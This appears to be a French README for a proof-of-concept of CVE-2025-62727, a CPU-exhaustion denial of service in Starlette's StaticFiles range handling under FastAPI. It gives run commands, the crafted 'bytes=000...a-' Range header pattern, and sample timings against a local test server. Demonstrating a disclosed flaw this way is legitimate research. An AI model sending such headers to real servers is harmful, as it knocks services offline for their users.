
Preuve de concept de la CVE-2025-62727 pouvant provoquer un déni de service dans FastAPI (basé sur Starlette <= 0.48.0)
La cible victime de CVE-2025-62727 est une simple application FastAPI qui :
Hello World à /./static en utilisant StaticFiles de Starlette.A répété N fois pour N dans 1024, 2048, 50176 au démarrage.(Optionnel) Créer et activer un virtualenv.
Installer les dépendances :
pip install -r requirements.txt
Démarrer le serveur :
uvicorn main:app --reload
Ouvrir :
http://127.0.0.1:8000/ pour la page d'index.http://127.0.0.1:8000/static/1024.txt etc. pour les fichiers statiques.static/ au démarrage de l'application. Les fichiers existants ne sont pas écrasés.StaticFiles de Starlette comme demandé.Le poc.py inclus déclenche une analyse Range gourmande en CPU dans FileResponse de Starlette via la route /static en utilisant un en-tête forgé de la forme bytes=000...000a-.
Exécutez le serveur, puis dans un autre shell :
python3 poc.py --sizes 1000,2000,4000,7000
Remplacez l'URL cible (optionnel) :
python3 poc.py --url http://127.0.0.1:8000/static/2048.txt --sizes 1000,2000
Remarques :
http://127.0.0.1:8000/static/50176.txt par défaut (un fichier généré par l'application). Utilisez --url pour le modifier.--sizes à la baisse si vous voyez 400/431 (en-tête trop grand), ou à la hausse si les en-têtes réussissent et que vous souhaitez un effet plus fort.Exemple de résultat :
$ python3 poc.py --url http://127.0.0.1:8000/static/50176.txt --sizes '10000,20000,40000,80000'
[INFO] Target: http://127.0.0.1:8000/static/50176.txt
[MODE] regex (header = 'bytes=' + '0'*N + 'a-')
N= 10000 | header_len= 10008 | status=400 | elapsed=227 ms
N= 20000 | header_len= 20008 | status=400 | elapsed=883 ms
N= 40000 | header_len= 40008 | status=400 | elapsed=3530 ms
N= 80000 | header_len= 80008 | status=400 | elapsed=14525 ms